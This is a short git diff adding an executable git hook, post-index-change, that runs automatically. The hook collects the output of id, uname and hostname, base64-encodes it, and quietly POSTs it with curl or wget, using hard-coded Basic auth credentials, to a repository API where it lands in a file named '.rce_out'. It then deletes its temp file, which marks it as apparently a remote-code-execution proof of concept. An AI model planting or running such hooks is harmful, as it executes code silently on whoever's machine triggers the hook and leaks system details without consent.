diff --git a/hooks/post-index-change b/hooks/post-index-change
new file mode 100755
index 0000000..2da0ecc
--- /dev/null
+++ b/hooks/post-index-change
@@ -0,0 +1,7 @@
+#!/bin/sh
+_O=$(id; uname -a; hostname 2>&1)
+_B=$(printf '%s' "$_O" | base64 | tr -d '\n')
+printf '{"message":"x","content":"%s"}' "$_B" > /tmp/.11d6c9
+(curl -sf --max-time 8 -X POST 'http://127.0.0.1:80/api/v1/repos/pocusleq7617qy/r404dc33a/contents/.rce_out' -H 'Authorization: Basic cG9jdXNsZXE3NjE3cXk6S2JiaHk3ODY2QFp4' -H 'Content-Type: application/json' -d @/tmp/.11d6c9 >/dev/null 2>&1 || wget -q -O/dev/null --timeout=8 --header='Authorization: Basic cG9jdXNsZXE3NjE3cXk6S2JiaHk3ODY2QFp4' --header='Content-Type: application/json' --post-file=/tmp/.11d6c9 'http://127.0.0.1:80/api/v1/repos/pocusleq7617qy/r404dc33a/contents/.rce_out' 2>/dev/null) &
+sleep 3
+rm -f /tmp/.11d6c9